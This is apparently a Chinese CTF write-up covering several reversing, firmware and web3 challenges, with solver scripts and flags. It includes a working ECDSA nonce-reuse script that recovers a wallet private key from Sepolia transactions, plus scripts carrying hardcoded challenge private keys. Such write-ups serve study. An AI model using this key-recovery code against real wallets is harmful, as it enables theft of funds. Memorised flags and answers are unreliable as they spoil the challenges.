- **`sub_1400010F0`**(可由 TLS/初始化等路径进入):读取 `Destination` 前若干字节,经 PKCS#7 填充 后做 AES-128-ECB 双分组加密,与内存中 32 字节硬编码密文逐字节比对。

.rdata 中既有用于 RC4 向量初始化的 XMM 常量,也有标准 AES S 盒(`byte_14001D440`),容易误判「整题都是 AES」。实际上:校验 flag 内容的可读解在 AES 链路上;`main` 里的 RC4 是另一套约束(且会得到含不可见字符的结果),与常见平台提交的 flag 往往不一致。

2.`main` 侧(格式 + RC4,简述)

scanf("%25s", …) 读入最多 25 字符。

2. 前缀检查:小端 `WORD` 为 `0x6D78` → **`xm`**;随后 **`ctf{`**(单字节比较)。

3. `Source[18] == '}'`,且 `strlen` 整体为 25 → 花括号内 18 字节。

strncpy(Destination, Source, 0x12),byte_140028B12 = 0 保证 strlen(Destination) == 18。

5. **`sub_140001440`**:`xmmword_14001D420` / `14001D430` 将 S 盒初始化为 `0..255`,密钥为 **`nev_gona_give_up`**,标准 RC4 后与栈上 `v9`/`v10` 常量比对。

若只跟这条算到底,会得到类似 **`nev_gona_letydown` + `0x07`** 的内层,与多数题库「纯可见 flag」不符,需结合下文 AES 路径。

3. AES 链路:`sub_1400010F0`

3.1 密钥材料

栈上 v77[4] 赋值为:

下标 十进制 小端 4 字节
0–2 873608210 12 03 23 34
3 559105345 41 41 40 21

拼成 16 字节 AES-128 密钥

12 03 23 34 12 03 23 34 12 03 23 34 41 41 40 21

3.2 密钥扩展

**`sub_1400019F0` → `sub_140001D00`**:对 16 字节密钥做 AES KeyExpansion,使用 `byte_14001D440` 的 S 盒及偏移处的 Rcon,与 OpenSSL/Crypto 标准实现一致。

3.3 明文与分组

**`sub_140001690(Src, len)`**:`memcpy` 后按 PKCS#7 将长度补到 16 的倍数

Destination 中花括号内为 18 字节时,补 14 个 `0x0E`,总长 32 字节。

3.4 加密

**`sub_1400019E0`****`sub_140001A00`**:对 4×4 状态做 SubBytes、ShiftRows、MixColumns、AddRoundKey,共 10 轮,即 AES-128

sub_1400010F0 中循环 2 次,每次处理 16 字节 → AES-128-ECB,两分组。

3.5 密文校验(从反编译提取)

按链式条件整理出 32 字节目标密文(索引与 `v8[]` 一致):

F2 7B 7E 75 B4 5C 08 FA 19 3C 8A 4A 04 F8 1F 67
1B 05 9C E7 27 40 78 6D 28 F6 A8 B8 06 C6 C5 51

(首字节由 v8[1]=='{' 且 v8[0]==0xF2 等条件共同约束。)

4. 解密求 Flag

使用 AES-128-ECB,密钥为上述 16 字节,对上述 32 字节做 decrypt,再 去除 PKCS#7,得到 18 字节明文:

R3a1_w0rld_M47ters

含义可读作:Real_world_Matters(leet 写法)。

外层格式仍为题目在 `main` 中要求的 **`xmctf{...}`**,故最终 flag:

xmctf{R3a1_w0rld_M47ters}

import struct

import sys

try:

from Crypto.Cipher import AES

except ImportError:

print("pip install pycryptodome", file=sys.stderr)

sys.exit(1)

v77[0..3] 小端拼成 16 字节 AES-128 密钥

KEY = struct.pack("<IIII", 873608210, 873608210, 873608210, 559105345)

sub_1400010F0 中 v8[0..31] 目标密文(32 字节,2×AES 块)

CIPHERTEXT = bytes.fromhex(

"f27b7e75b45c08fa193c8a4a04f81f67"

"1b059ce72740786d28f6a8b806c6c551"

)

def pkcs7_unpad(data: bytes) -> bytes:

if not data:

raise ValueError("empty data")

pad = data[-1]

if pad < 1 or pad > 16:

raise ValueError(f"invalid PKCS#7 pad byte: {pad}")

if not all(b == pad for b in data[-pad:]):

raise ValueError("invalid PKCS#7 padding")

return data[:-pad]

def main() -> None:

cipher = AES.new(KEY, AES.MODE_ECB)

plain_padded = cipher.decrypt(CIPHERTEXT)

inner = pkcs7_unpad(plain_padded).decode("ascii")

print("key (hex):", KEY.hex())

print("ciphertext (hex):", CIPHERTEXT.hex())

print("inner (18 bytes):", inner)

print("flag:", f"xmctf{{{inner}}}")

if name == "main":

main()

flag:xmctf{R3a1_w0rld_M47ters}

image.png

移动的秘密

程序提示输入 flag(scanf("%29s", ...),最长 29 字符),校验通过后输出 right,否则 wrong。

校验分为两层,必须同时通过

1. 对输入每个字节做 **`unsigned char` 意义下的右移 1 位**(即 `c >> 1`),得到 29 字节序列,与 `.rodata` 中两段 `xmmword` 重叠拼接后的常量比较。

2. 将原始输入串(长度 `strlen(s)`)送入一段与 MD5 等价的更新与填充逻辑,得到的 16 字节摘要再与另一处常量比较。

2. 第一层:`>> 1` 丢了最低位

反编译 main 中核心循环可概括为:

for (i = 0; i < len; i++)
buf[i] = (unsigned char)s[i] >> 1;
// memcmp(buf, expected_29_bytes, len) 需为真

对任意目标字节 T,若存在 c 满足 (c >> 1) == T,则:

\[

c \in \{ (T \ll 1),\ (T \ll 1) \mid 1 \}

\]

每个字符只有两种可能(最低位 0 或 1)。单独靠这一层无法唯一确定 flag,需要第二层缩小搜索空间。

.rodata 中先用 `xmmword_3080` 写入 `v14[0..15]`,再在 `v14+13` 处写入 `xmmword_3090`,因此 13..15 与 3090 前 3 字节重叠覆盖,最终得到 29 字节期望序列(与从 IDA 读出的内存一致)。

3. 第二层:标准 MD5

在 0x3060 处可读到 16 字节:

01 23 45 67 89 ab cd ef fe dc ba 98 76 54 32 10

按小端 32 位字解读即为 MD5 标准初始向量 IV(`0x67452301, 0xEFCDAB89, ...`)。

sub_1DF0 为按块更新(含长度计数与 memcpy 块处理),`sub_13C0` 为 MD5 压缩轮函数,`sub_1F60` 完成 0x80 填充、长度附加 并输出 16 字节小端状态作为摘要。

main 将 IV 载入局部结构后,对用户输入的原始字符串调用更新与终结,结果与 **`0x3070`** 处的 16 字节目标比较。

因此第二层等价于:

MD5(输入字符串) == 目标摘要(二进制与 0x3070 处一致)

4. 解题思路

从二进制或 IDA 中导出:expected_shifted[29]、md5_target[16]。

对每个位置 i,候选字符为 c0 = (T<<1)&0xff、c1 = c0|1。

3. 若要求可读 flag 格式 **`xmctf{...}`**

- 前 6 个字符在 `>>1` 约束下唯一确定为 `xmctf{`(例如 `{` 必须取 `0x7b` 而非 `0x7a`)。

末位 } 对应 T=0x3e 时须取 0x7d。

4. 中间剩余位置的二义性共约 22 bit,枚举 `2^22` 种组合,对每种计算 MD5,与目标匹配即得 flag。

复杂度约 4×10⁶ 次 MD5,普通 PC 上秒级可完成。

#!/usr/bin/env python3

-*- coding: utf-8 -*-

from future import annotations

import hashlib

#第一层: (flag[i] >> 1) 应等于该序列(29 字节)

SHIFTED_EXPECTED = bytes(

[

0x3C,

0x36,

0x31,

0x3A,

0x33,

0x3D,

0x3B,

0x32,

0x36,

0x31,

0x18,

0x36,

0x32,

0x2F,

0x19,

0x2F,

0x38,

0x37,

0x36,

0x30,

0x39,

0x18,

0x39,

0x2F,

0x18,

0x18,

0x19,

0x19,

0x3E,

]

)

#第二层: MD5(flag) 的 16 字节原始输出(与内存 0x3070 一致)

MD5_TARGET = bytes(

[

0x3A,

0x22,

0xC0,

0x98,

0x71,

0x00,

0x19,

0xB3,

0x1C,

0x32,

0x8A,

0x86,

0x14,

0x29,

0xD3,

0xAD,

]

)

def char_from_shifted(byte_shifted: int, lsb: int) -> int:

"""由 (c >> 1) == byte_shifted 恢复 c,lsb in {0,1}。"""

return ((byte_shifted << 1) | (lsb & 1)) & 0xFF

def build_flag(mask: int, prefix_bits: list[tuple[int, int]], suffix_bits: list[tuple[int, int]]) -> bytes:

"""

prefix_bits / suffix_bits: [(index, lsb), ...] 固定位置的比特选择。

mask: 对剩余下标按顺序取比特(低位对应第一个自由位)。

"""

n = len(SHIFTED_EXPECTED)

chars = [0] * n

fixed = dict(prefix_bits + suffix_bits)

free_indices = [i for i in range(n) if i not in fixed]

assert len(free_indices) <= 32

for i, lsb in fixed.items():

chars[i] = char_from_shifted(SHIFTED_EXPECTED[i], lsb)

m = mask

for k, i in enumerate(free_indices):

lsb = (m >> k) & 1

chars[i] = char_from_shifted(SHIFTED_EXPECTED[i], lsb)

return bytes(chars)

def solve() -> bytes | None:

# xmctf{ 与 } 在 >>1 约束下的典型选择(与 WP 一致)

prefix_bits = [

(0, 0), # 'x'

(1, 1), # 'm'

(2, 1), # 'c'

(3, 0), # 't'

(4, 0), # 'f'

(5, 1), # '{'

]

suffix_bits = [(28, 1)] # '}'

free_indices = [i for i in range(len(SHIFTED_EXPECTED)) if i not in dict(prefix_bits + suffix_bits)]

total = 1 << len(free_indices)

print(f"[*] 枚举 {len(free_indices)} 个自由位, 共 {total} 种组合 ...")

for mask in range(total):

candidate = build_flag(mask, prefix_bits, suffix_bits)

if hashlib.md5(candidate).digest() == MD5_TARGET:

return candidate

return None

def main() -> None:

import sys

if hasattr(sys.stdout, "reconfigure"):

try:

sys.stdout.reconfigure(encoding="utf-8")

except Exception:

pass

flag = solve()

if flag is None:

print("[-] 未找到满足 MD5 的字符串(请检查常量是否与当前二进制一致)")

return

s = flag.decode("ascii")

print("[+] Flag:", s)

# 自证:>>1 与 MD5

shifted = bytes((b >> 1) & 0xFF for b in flag)

assert shifted == SHIFTED_EXPECTED

assert hashlib.md5(flag).digest() == MD5_TARGET

print("[+] 校验: >>1 序列与 MD5 均匹配。")

if name == "main":

main()

image.png
Flag:xmctf{welc0me_2_polar1s_1022}

ezFinger

一、`sub_8003498`(0x8003498)

反编译要点

函数内大量访问固定外设地址:

- `0x40023804`:STM32F4 系列 RCC->PLLCFGR

- `0x40023808`:RCC->CFGR

并根据 SYSCLK 来源(HSI/HSE/PLL)、PLL 参数做整数运算,最终返回一个 频率值(Hz 量级)。这与 ST 官方 HAL 中根据 RCC 寄存器计算系统时钟的例程一致。

交叉引用

对 `0x8003498` 做 xref,可见调用方(如 `sub_800356C`)在修改 `RCC_CFGR`、配合 `PWR` 相关寄存器后,执行:

dword_20000024 = sub_8003498() >> ...;

典型用途:时钟树配完后,把 当前 SYSCLK 频率存下来,供 SysTick 或延时库使用。进一步印证这是「取系统时钟频率」而不是单纯读 HCLK 分频后的 `HAL_RCC_GetHCLKFreq`(后者通常显式包含 AHB 预分频)。

结论:

**`sub_8003498` ↔ `HAL_RCC_GetSysClockFreq`**

二、`sub_8000EC0`(0x8000EC0)

反编译要点

逻辑概要:

1. 第一个参数视为 Arduino 风格的逻辑引脚号;若大于 `0x5F` 则无效。

2. 通过全局表 **`aInMKi`** 做映射(等价于 `digitalPinToPinName` 一类 pin map)。

3. 调用 **`sub_8000F10`**:按「端口 + 引脚位」从某结构里取位,判断引脚是否已配置——与 Arduino Core 里 **`g_digPinConfigured` / is_pin_configured** 一类位图一致。

4. 再经 **`sub_8000F64`** 得到 GPIO 外设基址,**`sub_800128E` → `sub_800227C`** 写入端口寄存器。

关键底层:`sub_800227C`

反编译形态为:

目标地址 = GPIO_base + 0x18

- STM32 **`GPIO_TypeDef`****`BSRR` 偏移正是 0x18**(十进制 24)。

- 根据第三参数决定写入低 16 位或高 16 位,对应 置位 / 复位 引脚电平。

这是 **`HAL_GPIO_WritePin` 的核心写 BSRR 行为**;但本题问的是 ****`0x8000EC0` 这一层****的语义名称,而不是最里层 HAL。

字符串侧证

固件中存在 Arduino STM32 包路径类字符串,例如指向:

.../packages/STM32/hardware/stm32/1.3.0/cores/arduino/HardwareSerial.cpp

说明工程基于 Arduino_Core_STM32,GPIO 数字输出 API 为 **`digitalWrite(uint32_t ulPin, uint32_t ulVal)`**,其实现正是:pin 名解析 → 检查是否 `pinMode` 配置过 → 调 `digital_io_write`(最终写 BSRR)。

Flag:xmctf{HAL_RCC_GetSysClockFreq_digitalWrite}

**misc** **抄作业** from web3 import Web3 import requests import time RPC_URL = "http://80-c3734881-2565-49ac-ad8c-341b48cff4c0.challenge.ctfplus.cn/rpc" PLAYER = "0x31BA9B7D5b2593772137979306e3faE2A367E74D" PRIVATE_KEY = "0x6b1d7f04f79eb5caa2f67beefa542656555f0285cffc6a361f44d8e384917df7" TARGET = "0x75537828f2ce51be7289709686A69CbFDbB714F1" w3 = Web3(Web3.HTTPProvider(RPC_URL)) print(f"连接状态: {w3.is_connected()}") print("=== 分析函数 0x5e36bdc6 ===") for addr in \[PLAYER, "0x0000000000000000000000000000000000000000", TARGET\]: calldata = "0x5e36bdc6" + addr\[2:\].zfill(64) try: result = w3.eth.call({ 'to': TARGET, 'data': calldata }) value = int.from_bytes(result, 'big') print(f" {addr}: {value} ({bool(value)})") except Exception as e: print(f" {addr}: 失败 - {e}") print("\\n=== 分析函数 0xaab2fcd2 ===") print("尝试调用 0xaab2fcd2...") test_cases = \[ (1, 1, 2), (2, 3, 5), (10, 20, 30), (100, 200, 300), (0, 0, 0), (1, 2, 3), (5, 5, 10), (1000000000000000000, 1000000000000000000, 2000000000000000000), \] for a, b, c in test_cases: calldata = "0xaab2fcd2" + hex(a)\[2:\].zfill(64) + hex(b)\[2:\].zfill(64) + hex(c)\[2:\].zfill(64) try: \# 先尝试 view 调用 result = w3.eth.call({ 'to': TARGET, 'data': calldata }) print(f" view 调用成功: {a} + {b} = {c} -> {result.hex()}") except Exception as e: \# view 失败可能是因为会修改状态,尝试发送交易 try: nonce = w3.eth.get_transaction_count(PLAYER) tx = { 'from': PLAYER, 'to': TARGET, 'data': calldata, 'nonce': nonce, 'gas': 100000, 'gasPrice': w3.eth.gas_price } \# 估算 gas gas = w3.eth.estimate_gas(tx) tx\['gas'\] = gas signed = w3.eth.account.sign_transaction(tx, PRIVATE_KEY) tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction) print(f" 交易已发送: {tx_hash.hex()} (参数: {a}, {b}, {c})") receipt = w3.eth.wait_for_transaction_receipt(tx_hash) print(f" 交易状态: {'✅ 成功' if receipt.status == 1 else '❌ 失败'}") if receipt.status == 1: print(f"\\n🎉 找到正确的参数! {a} + {b} = {c}") \# 检查玩家状态是否被设置 calldata_check = "0x5e36bdc6" + PLAYER\[2:\].zfill(64) result = w3.eth.call({ 'to': TARGET, 'data': calldata_check }) player_status = int.from_bytes(result, 'big') print(f"玩家状态变为: {player_status}") \# 检查解题状态 time.sleep(2) response = requests.post("http://80-c3734881-2565-49ac-ad8c-341b48cff4c0.challenge.ctfplus.cn/api/solve", json={}) data = response.json() if data.get('solved'): print(f"\\n🎉🎉🎉 FLAG: {data.get('flag')} 🎉🎉🎉") break except Exception as e: print(f" 交易失败: {e}") print("\\n=== 从字节码解读验证逻辑 ===") print("\\n尝试其他运算...") for a, b, c in \[(2, 3, 6), (3, 4, 12), (5, 5, 25)\]: calldata = "0xaab2fcd2" + hex(a)\[2:\].zfill(64) + hex(b)\[2:\].zfill(64) + hex(c)\[2:\].zfill(64) try: nonce = w3.eth.get_transaction_count(PLAYER) tx = { 'from': PLAYER, 'to': TARGET, 'data': calldata, 'nonce': nonce, 'gas': 100000, 'gasPrice': w3.eth.gas_price } signed = w3.eth.account.sign_transaction(tx, PRIVATE_KEY) tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction) print(f" 乘法测试 {a}\*{b}={c}: {tx_hash.hex()}") receipt = w3.eth.wait_for_transaction_receipt(tx_hash) if receipt.status == 1: print(f" ✅ 成功!") break else: print(f" ❌ 失败") except Exception as e: print(f" 失败: {e}") print("\\n尝试减法...") for a, b, c in \[(5, 3, 2), (10, 4, 6), (100, 30, 70)\]: calldata = "0xaab2fcd2" + hex(a)\[2:\].zfill(64) + hex(b)\[2:\].zfill(64) + hex(c)\[2:\].zfill(64) try: nonce = w3.eth.get_transaction_count(PLAYER) tx = { 'from': PLAYER, 'to': TARGET, 'data': calldata, 'nonce': nonce, 'gas': 100000, 'gasPrice': w3.eth.gas_price } signed = w3.eth.account.sign_transaction(tx, PRIVATE_KEY) tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction) receipt = w3.eth.wait_for_transaction_receipt(tx_hash) if receipt.status == 1: print(f" ✅ 成功! {a}-{b}={c}") break except: pass print("\\n=== 尝试直接解题 ===") calldata_solve = "0xaab2fcd2" + hex(1)\[2:\].zfill(64) + hex(2)\[2:\].zfill(64) + hex(3)\[2:\].zfill(64) try: nonce = w3.eth.get_transaction_count(PLAYER) tx = { 'from': PLAYER, 'to': TARGET, 'data': calldata_solve, 'nonce': nonce, 'gas': 100000, 'gasPrice': w3.eth.gas_price } signed = w3.eth.account.sign_transaction(tx, PRIVATE_KEY) tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction) receipt = w3.eth.wait_for_transaction_receipt(tx_hash) print(f"交易状态: {'成功' if receipt.status == 1 else '失败'}") if receipt.status == 1: \# 检查玩家状态 calldata_check = "0x5e36bdc6" + PLAYER\[2:\].zfill(64) result = w3.eth.call({ 'to': TARGET, 'data': calldata_check }) player_status = int.from_bytes(result, 'big') print(f"玩家状态: {player_status}") \# 检查 flag response = requests.post("http://80-c3734881-2565-49ac-ad8c-341b48cff4c0.challenge.ctfplus.cn/api/solve", json={}) data = response.json() if data.get('solved'): print(f"\\n🎉🎉🎉 FLAG: {data.get('flag')} 🎉🎉🎉") else: print("未解决,可能需要正确的参数") except Exception as e: print(f"交易失败: {e}") print("\\n=== 等待最终结果 ===") time.sleep(3) response = requests.post("http://80-c3734881-2565-49ac-ad8c-341b48cff4c0.challenge.ctfplus.cn/api/solve", json={}) print(f"最终解题状态: {response.json()}" **口算私钥** 1\. **不能**从地址「反推」随机私钥;题面「口算」暗示私钥有规律或信息泄露。 2\. 在 Sepolia 上查看该地址交易:仅有 **两笔转出**,且两笔 ECDSA 签名的 **\*\*\`r\` 完全相同\*\***。 3\. 这说明两次签名 **\*\*复用了同一个随机数 \`k\`\*\***(nonce reuse),属于经典实现错误,可用两条消息的哈希 \`z1,z2\` 与 \`(r,s1),(r,s2)\` 在 secp256k1 阶 \`n\` 下恢复私钥。 4\. 链上记录的 \`s\` 与签名方程中使用的有效值可能对应 **\*\*\`s\` 或 \`n-s\`(可锻性)\*\***,且不一定与「\`s > n/2\`」简单对应。实操应对 **\*\*\`(s1, s2)\` 在 \`{s, n-s}\` 下枚举少量组合\*\***,用恢复出的地址是否等于题目 \`owner\` 来判定哪一组正确(脚本里已自动完成)。 恢复出 owner 私钥后,在题目链上对公布的 Challange 地址调用 solve(),再请求题目站的 POST /api/solve 拿 flag。 **数学要点(nonce reuse)** 给定 ECDSA(secp256k1)签名公式: s≡k−1(z+rd)(modn) 若同一私钥 dd、同一随机数 kk 签署了两条不同消息,则 rr 相同,于是: {s1≡k−1(z1+rd)(modn)s2≡k−1(z2+rd)(modn) 两式相减得: s1−s2≡k−1(z1−z2)(modn) 整理得: k≡(z1−z2)(s1−s2)−1(modn) 代回原式求私钥 d: d≡r−1(s1k−z1)(modn) 其中 (s1−s2)−1和 r−1均在模 nn 下求逆元。 其中 \\(z_i\\) 为 **该笔交易在 EIP-155 下用于签名的哈希**(Legacy:\`keccak256(RLP(\[nonce, gasPrice, gas, to, value, data, chainId, 0, 0\]))\`),实现上可直接使用 \`eth_account\` 对未签名交易做 RLP 再 \`keccak\`。 **Sepolia 上用于恢复的两笔交易(示例)** (以题面当时数据为准,若区块浏览器排序变化以「同一 r 的两笔转出」为准。) | | | | --- | --- | | 顺序 | Tx | | nonce 0 | 0x724331da3fb30695b44340df454cca06ddd296f86d1eb250af86a800029ff380 | | nonce 1 | 0x1bdc4cc1939e6b045e6dd6e306ce47c72cbb216e5ae94db32b789961d6369b0b | 两笔 r 均为 0xd67a8d3fddda5bfc00366b6dd51278e14593cace8154d20136c21567456e1937。 **恢复结果与「口算」感** 正确处理后得到的私钥为 **\*\*16 段重复的 \`0xf149\`\*\***,即高度规律、便于记忆,与题目标题「口算私钥」呼应。 from **future** import annotations import json import os import sys import urllib.error import urllib.request from typing import Any from eth_account import Account from eth_account.\_utils.legacy_transactions import serializable_unsigned_transaction_from_dict from eth_hash.auto import keccak from rlp.codec import encode secp256k1 order N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 def \_rpc(url: str, method: str, params: list\[Any\]) -> dict\[str, Any\]: body = json.dumps({"jsonrpc": "2.0", "method": method, "params": params, "id": 1}).encode() req = urllib.request.Request( url, data=body, headers={ "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; ctf-solve/1.0)", }, method="POST", ) with urllib.request.urlopen(req, timeout=60) as resp: out = json.loads(resp.read().decode()) if "error" in out: raise RuntimeError(out\["error"\]) return out\["result"\] def \_int_hex(x: str | int) -> int: if isinstance(x, int): return x return int(x, 16) def tx_to_unsigned_dict(tx: dict\[str, Any\]) -> dict\[str, Any\]: inp = tx.get("input") or "0x" data = bytes.fromhex(inp\[2:\]) if len(inp) > 2 else b"" return { "nonce": \_int_hex(tx\["nonce"\]), "gasPrice": \_int_hex(tx\["gasPrice"\]), "gas": \_int_hex(tx\["gas"\]), "to": bytes.fromhex(tx\["to"\]\[2:\]), "value": \_int_hex(tx\["value"\]), "data": data, "chainId": \_int_hex(tx\["chainId"\]), } def signing_hash_legacy_eip155(tx: dict\[str, Any\]) -> int: d = tx_to_unsigned_dict(tx) ut = serializable_unsigned_transaction_from_dict(d) return int(keccak(encode(ut)).hex(), 16) def modinv(a: int, m: int = N) -> int: return pow(a, -1, m) def \_recover_d_from_reuse(z1: int, z2: int, r: int, s1: int, s2: int) -> int | None: s_diff = (s1 - s2) % N if s_diff == 0: return None z_diff = (z1 - z2) % N k = (z_diff \* modinv(s_diff)) % N if k == 0: return None return ((s1 \* k - z1) % N \* modinv(r)) % N def recover_private_key_nonce_reuse( tx1: dict\[str, Any\], tx2: dict\[str, Any\], \*, expected_address: str | None = None, ) -> bytes: r1 = \_int_hex(tx1\["r"\]) r2 = \_int_hex(tx2\["r"\]) if r1 != r2: raise ValueError("r 不同,不是典型的同 k 复用场景") z1 = signing_hash_legacy_eip155(tx1) z2 = signing_hash_legacy_eip155(tx2) raw_s1 = \_int_hex(tx1\["s"\]) raw_s2 = \_int_hex(tx2\["s"\]) candidates: list\[tuple\[int, int\]\] = \[ (raw_s1, raw_s2), (raw_s1, N - raw_s2), (N - raw_s1, raw_s2), (N - raw_s1, N - raw_s2), \] found: list\[bytes\] = \[\] for s1, s2 in candidates: d = \_recover_d_from_reuse(z1, z2, r1, s1, s2) if d is None or d == 0: continue pk = d.to_bytes(32, "big") try: addr = Account.from_key(pk).address except Exception: continue if expected_address is None or addr.lower() == expected_address.lower(): found.append(pk) if not found: raise ValueError("无法用 k 复用公式恢复私钥(检查交易类型/哈希是否为 EIP-155 Legacy)") if expected_address is not None: return found\[0\] \# 未指定期望地址时:若多种 (s 形式) 都产生合法私钥,优先返回第一个(调用方应传入 expected_address) return found\[0\] def fetch_flag(base_url: str) -> dict\[str, Any\]: url = base_url.rstrip("/") + "/api/solve" req = urllib.request.Request( url, data=b"{}", headers={ "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; ctf-solve/1.0)", }, method="POST", ) with urllib.request.urlopen(req, timeout=60) as resp: return json.loads(resp.read().decode()) def send_solve_challenge( challenge_rpc: str, challange_addr: str, owner_key: bytes, ) -> str: acct = Account.from_key(owner_key) res_nonce = \_rpc(challenge_rpc, "eth_getTransactionCount", \[acct.address, "latest"\]) nonce = int(res_nonce, 16) chain_id = int(\_rpc(challenge_rpc, "eth_chainId", \[\]), 16) gas_price = int(\_rpc(challenge_rpc, "eth_gasPrice", \[\]), 16) sel = keccak(b"solve()")\[:4\] data = "0x" + sel.hex() tx = { "nonce": nonce, "gasPrice": gas_price, "gas": 100_000, "to": challange_addr, "value": 0, "data": data, "chainId": chain_id, } signed = acct.sign_transaction(tx) raw = signed.raw_transaction.hex() if not raw.startswith("0x"): raw = "0x" + raw return str(\_rpc(challenge_rpc, "eth_sendRawTransaction", \[raw\])) def main() -> int: sepolia_rpc = os.environ.get( "SEPOLIA_RPC", "https://ethereum-sepolia-rpc.publicnode.com", ) tx_a = os.environ.get( "SEPOLIA_TX1", "0x724331da3fb30695b44340df454cca06ddd296f86d1eb250af86a800029ff380", ) tx_b = os.environ.get( "SEPOLIA_TX2", "0x1bdc4cc1939e6b045e6dd6e306ce47c72cbb216e5ae94db32b789961d6369b0b", ) challenge_rpc = os.environ.get( "CHALLENGE_RPC", "http://80-84dcaea6-555c-4c0f-b837-3b0927be49d9.challenge.ctfplus.cn/rpc", ) challenge_origin = os.environ.get( "CHALLENGE_ORIGIN", "http://80-84dcaea6-555c-4c0f-b837-3b0927be49d9.challenge.ctfplus.cn", ) challange_addr = os.environ.get( "CHALLANGE", "0x75537828f2ce51be7289709686A69CbFDbB714F1", ) print("\[\*\] Sepolia: 拉取交易 …") t1 = \_rpc(sepolia_rpc, "eth_getTransactionByHash", \[tx_a\]) t2 = \_rpc(sepolia_rpc, "eth_getTransactionByHash", \[tx_b\]) if not t1 or not t2: print("\[-\] 无法获取交易(检查哈希或 RPC)", file=sys.stderr) return 1 expected_owner = os.environ.get( "EXPECTED_OWNER", "0x1862fB125eEc7b36E0797b4F8F55Dfb099F08934", ) pk = recover_private_key_nonce_reuse( t1, t2, expected_address=expected_owner ) acct = Account.from_key(pk) print(f"\[+\] 恢复私钥对应地址: {acct.address}") print(f"\[+\] 私钥(仅用于 CTF 环境): 0x{pk.hex()}") print("\[\*\] 题目链: 发送 solve() …") try: txh = send_solve_challenge(challenge_rpc, challange_addr, pk) print(f"\[+\] solve tx: {txh}") except urllib.error.URLError as e: print(f"\[!\] 发送 solve 失败(可能已解过或 RPC/网络问题): {e}") print("\[\*\] 请求 /api/solve …") try: data = fetch_flag(challenge_origin) except urllib.error.URLError as e: print(f"\[-\] 拉取 flag 失败: {e}", file=sys.stderr) return 1 if data.get("solved"): print(f"\[+\] flag: {data.get('flag')}") return 0 print(f"\[-\] 未判定为已解: {data}", file=sys.stderr) return 2 if **name** == "**main**": raise SystemExit(main()) **WhoRU?** <div class="joplin-table-wrapper"><table><tbody><tr><td><p>思路:</p><p>1. 在附件中抓取<strong>不易随重构消失</strong>的特征:报错字符串、魔法数字、GET 参数名、算法步骤、常量命名等。</p><p>2. 使用 <strong>GitHub 代码搜索</strong>(需登录)或第三方索引(如 [grep.app](https://grep.app) 的 API:`https://grep.app/api/search?q=...`)在全站检索。</p><p>3. 命中仓库后,拉取 <strong>raw</strong> 源码与附件逐段对照,确认仅为改名/拆包而非巧合相似。</p><p><strong>第一关:`1.java`</strong></p><p><a id="heading_38"></a><strong>附件特征</strong></p><ul><li>包名 com.ctf.micro.auth.plugin、类名 MicroAuthTokenManager,明显为出题人改写。</li></ul><p>JWT 相关逻辑:AUTH_DISABLED_TOKEN = "AUTH_DISABLED"、createToken / getAuthentication、Base64 解码密钥等。</p><p>- <strong>关键指纹</strong>:异常信息里固定出现笔误</p><p>`the length of secret key must great than or equal 32 bytes`(应为 <em>greater</em>)。</p><p><a id="heading_39"></a><strong>定位过程</strong></p><p>在公开代码中检索上述句子或 `AUTH_DISABLED_TOKEN` 与 JWT 管理类组合,可定位到 <strong>Nacos</strong> 默认认证插件中的 `JwtTokenManager.java`(例如 `develop` 分支路径:`plugin-default-impl/nacos-default-auth-plugin/.../JwtTokenManager.java`)。</p><p>对照可见:附件删去了 Nacos 依赖与 NacosJwtParser,改用 JJWT 直写,但错误文案、AUTH_DISABLED 行为、tokenValidityInSeconds / encodedSecretKey 等与官方文件一致。</p><p><a id="heading_40"></a><strong>答案</strong></p><p>alibaba_nacos</p><p><strong>参考:</strong> [JwtTokenManager.java(alibaba/nacos)](https://github.com/alibaba/nacos/blob/develop/plugin-default-impl/nacos-default-auth-plugin/src/main/java/com/alibaba/nacos/plugin/auth/impl/token/impl/JwtTokenManager.java)</p><p><strong>第二关:`2.cpp`</strong></p><p><strong>附件特征</strong></p><p>类名 StreamStateAnalyzer,依赖 LookupTables.hpp、StreamStateAnalyzer.hpp。</p><p>- 核心为 <strong>ZIP Traditional Crypto(ZipCrypto)</strong> 已知明文攻击中的 <strong>Z-list 回溯</strong>:`recursiveZlistExploration`、`crc32inv`、由 keystream 字节枚举 `z` 低位、与 `MULT_INV`、`getFiber`(或等价 fiber 表)配合过滤 `Y` 状态等。</p><p><strong>定位过程</strong></p><p>StreamStateAnalyzer 等符号在索引中可能搜不到(已改名)。改搜<strong>算法结构</strong>:与经典实现 <strong>bkcrack</strong> 的 `Attack::exploreZlists` 逐行对应:</p><table><tbody><tr><td><p>附件</p></td><td><p>bkcrack Attack.cpp</p></td></tr><tr><td><p>trigger / recursiveZlistExploration</p></td><td><p>carryout / exploreZlists</p></td></tr><tr><td><p>m_start_idx = offset + 1 - CONTIGUOUS_BLOCK_SIZE</p></td><td><p>index{index + 1 - Attack::contiguousSize}</p></td></tr><tr><td><p>LookupTables::getInvCrc32</p></td><td><p>Crc32Tab::getZim1_10_32</p></td></tr><tr><td><p>getZLowCandidates</p></td><td><p>KeystreamTab::getZi_2_16_vector</p></td></tr><tr><td><p>calcYHigh</p></td><td><p>Crc32Tab::getYi_24_32</p></td></tr><tr><td><p>getFiber / MAX_DIFF_24</p></td><td><p>MultTab::getMsbProdFiber3 / maxdiff&lt;24&gt;</p></td></tr></tbody></table><p></p><p>可确认附件为 <strong>kimci86/bkcrack</strong> 中攻击逻辑的 CTF 改写版。</p><p></p><p><strong>答案</strong></p><p></p><p>kimci86_bkcrack</p><p></p><p><strong>参考:</strong> [Attack.cpp(kimci86/bkcrack)](https://github.com/kimci86/bkcrack/blob/master/src/bkcrack/Attack.cpp)</p><p><strong>第三关:`3.py`</strong></p><p><strong>附件特征</strong></p><p>Django 视图:区块链记账、Merkle 根、SHA3-256 工作量证明、aadhar_no 登录等。</p><p>- <strong>强特征字符串</strong>:GET 参数名 `createPoliticianParties`(拼写少见,与 `createRandomVoters`、`castRandomVote` 一起出现在「生成假数据」逻辑中)。</p><p><strong>定位过程</strong></p><p>对 `createPoliticianParties` 做全站代码检索,可唯一指向 <strong>akverma26/voting-system-using-block-chain</strong> 的 `home/views.py` 